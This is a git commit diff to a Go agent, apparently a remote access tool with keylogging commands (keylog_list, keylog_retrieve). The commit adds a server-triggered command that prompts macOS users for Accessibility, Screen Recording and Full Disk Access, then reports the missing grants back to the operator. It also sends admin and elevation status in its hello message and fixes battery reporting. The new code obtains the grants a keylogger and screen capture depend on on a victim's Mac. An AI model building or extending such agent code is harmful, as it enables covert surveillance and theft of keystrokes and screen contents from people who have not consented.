better permissions mac
This commit is contained in:
@@ -2278,6 +2278,33 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return HandleProcessResume(ctx, env, cmdID, resumePid)
|
||||
case "keylog_request_permission":
|
||||
return HandleKeylogRequestPermission(ctx, env, cmdID)
|
||||
case "darwin_request_permissions":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
var requested []string
|
||||
if raw, ok := payload["permissions"].([]interface{}); ok {
|
||||
for _, item := range raw {
|
||||
if key, ok := item.(string); ok && key != "" {
|
||||
requested = append(requested, key)
|
||||
}
|
||||
}
|
||||
}
|
||||
perms := sysinfo.RequestDarwinPermissions(requested)
|
||||
missing := make([]string, 0)
|
||||
for _, key := range []string{"accessibility", "screenRecording", "fullDiskAccess"} {
|
||||
if perms == nil || !perms[key] {
|
||||
missing = append(missing, key)
|
||||
}
|
||||
}
|
||||
detail, _ := json.Marshal(map[string]interface{}{
|
||||
"permissions": perms,
|
||||
"missing": missing,
|
||||
})
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: len(missing) == 0,
|
||||
Message: string(detail),
|
||||
})
|
||||
case "keylog_list":
|
||||
return HandleKeylogList(ctx, env, cmdID)
|
||||
case "keylog_retrieve":
|
||||
|
||||
@@ -647,7 +647,10 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
||||
hello.GPU = hw.GPU
|
||||
hello.RAM = hw.RAM
|
||||
hello.BatteryPercent = hw.BatteryPercent
|
||||
hello.BatteryCharging = hw.BatteryCharging
|
||||
if hw.BatteryPercent != nil {
|
||||
charging := hw.BatteryCharging
|
||||
hello.BatteryCharging = &charging
|
||||
}
|
||||
hello.IsAdmin = sysinfo.IsAdmin()
|
||||
hello.Elevation = sysinfo.Elevation()
|
||||
hello.Permissions = sysinfo.DarwinPermissions()
|
||||
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"errors"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
@@ -29,6 +30,30 @@ func DarwinPermissions() map[string]bool {
|
||||
}
|
||||
}
|
||||
|
||||
func RequestDarwinPermissions(requested []string) map[string]bool {
|
||||
want := make(map[string]bool, len(requested))
|
||||
for _, key := range requested {
|
||||
want[key] = true
|
||||
}
|
||||
if len(want) == 0 {
|
||||
want["accessibility"] = true
|
||||
want["screenRecording"] = true
|
||||
want["fullDiskAccess"] = true
|
||||
}
|
||||
|
||||
if want["accessibility"] {
|
||||
darwinRequestAccessibilityPermission()
|
||||
}
|
||||
if want["screenRecording"] {
|
||||
darwinRequestScreenRecordingPermission()
|
||||
}
|
||||
if want["fullDiskAccess"] {
|
||||
_ = exec.Command("open", "x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles").Start()
|
||||
}
|
||||
|
||||
return DarwinPermissions()
|
||||
}
|
||||
|
||||
func darwinFullDiskAccessPermission() bool {
|
||||
home, _ := os.UserHomeDir()
|
||||
candidates := []string{
|
||||
|
||||
@@ -13,3 +13,7 @@ func Elevation() string {
|
||||
func DarwinPermissions() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
func RequestDarwinPermissions(_ []string) map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -19,3 +19,7 @@ func Elevation() string {
|
||||
func DarwinPermissions() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
func RequestDarwinPermissions(_ []string) map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -65,3 +65,7 @@ func isTrustedInstallerSID(sid *windows.SID) bool {
|
||||
func DarwinPermissions() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
func RequestDarwinPermissions(_ []string) map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -3,13 +3,15 @@
|
||||
package sysinfo
|
||||
|
||||
/*
|
||||
#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics
|
||||
#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics -framework CoreFoundation
|
||||
|
||||
#include <ApplicationServices/ApplicationServices.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <CoreGraphics/CoreGraphics.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
extern bool CGPreflightScreenCaptureAccess(void) __attribute__((weak_import));
|
||||
extern bool CGRequestScreenCaptureAccess(void) __attribute__((weak_import));
|
||||
|
||||
static int checkAccessibilityPermission(void) {
|
||||
return AXIsProcessTrusted() ? 1 : 0;
|
||||
@@ -19,6 +21,27 @@ static int checkScreenRecordingPermission(void) {
|
||||
if (CGPreflightScreenCaptureAccess == NULL) return 0;
|
||||
return CGPreflightScreenCaptureAccess() ? 1 : 0;
|
||||
}
|
||||
|
||||
static int requestAccessibilityPermission(void) {
|
||||
const void *keys[] = { kAXTrustedCheckOptionPrompt };
|
||||
const void *values[] = { kCFBooleanTrue };
|
||||
CFDictionaryRef opts = CFDictionaryCreate(
|
||||
kCFAllocatorDefault,
|
||||
keys,
|
||||
values,
|
||||
1,
|
||||
&kCFCopyStringDictionaryKeyCallBacks,
|
||||
&kCFTypeDictionaryValueCallBacks
|
||||
);
|
||||
Boolean trusted = AXIsProcessTrustedWithOptions(opts);
|
||||
if (opts != NULL) CFRelease(opts);
|
||||
return trusted ? 1 : 0;
|
||||
}
|
||||
|
||||
static int requestScreenRecordingPermission(void) {
|
||||
if (CGRequestScreenCaptureAccess == NULL) return checkScreenRecordingPermission();
|
||||
return CGRequestScreenCaptureAccess() ? 1 : 0;
|
||||
}
|
||||
*/
|
||||
import "C"
|
||||
|
||||
@@ -29,3 +52,11 @@ func darwinAccessibilityPermission() bool {
|
||||
func darwinScreenRecordingPermission() bool {
|
||||
return C.checkScreenRecordingPermission() == 1
|
||||
}
|
||||
|
||||
func darwinRequestAccessibilityPermission() bool {
|
||||
return C.requestAccessibilityPermission() == 1
|
||||
}
|
||||
|
||||
func darwinRequestScreenRecordingPermission() bool {
|
||||
return C.requestScreenRecordingPermission() == 1
|
||||
}
|
||||
|
||||
@@ -9,3 +9,11 @@ func darwinAccessibilityPermission() bool {
|
||||
func darwinScreenRecordingPermission() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func darwinRequestAccessibilityPermission() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func darwinRequestScreenRecordingPermission() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
@@ -57,7 +57,7 @@ func batteryStatus() (*int, bool) {
|
||||
return nil, false
|
||||
}
|
||||
lower := strings.ToLower(text)
|
||||
charging := strings.Contains(lower, "charging") || strings.Contains(lower, "charged")
|
||||
charging := !strings.Contains(lower, "discharging") && (strings.Contains(lower, "charging") || strings.Contains(lower, "charged"))
|
||||
return &percent, charging
|
||||
}
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@ type Hello struct {
|
||||
GPU string `msgpack:"gpu,omitempty"`
|
||||
RAM string `msgpack:"ram,omitempty"`
|
||||
BatteryPercent *int `msgpack:"batteryPercent,omitempty"`
|
||||
BatteryCharging bool `msgpack:"batteryCharging,omitempty"`
|
||||
BatteryCharging *bool `msgpack:"batteryCharging,omitempty"`
|
||||
IsAdmin bool `msgpack:"isAdmin,omitempty"`
|
||||
Elevation string `msgpack:"elevation,omitempty"`
|
||||
Permissions map[string]bool `msgpack:"permissions,omitempty"`
|
||||
|
||||
Reference in New Issue
Block a user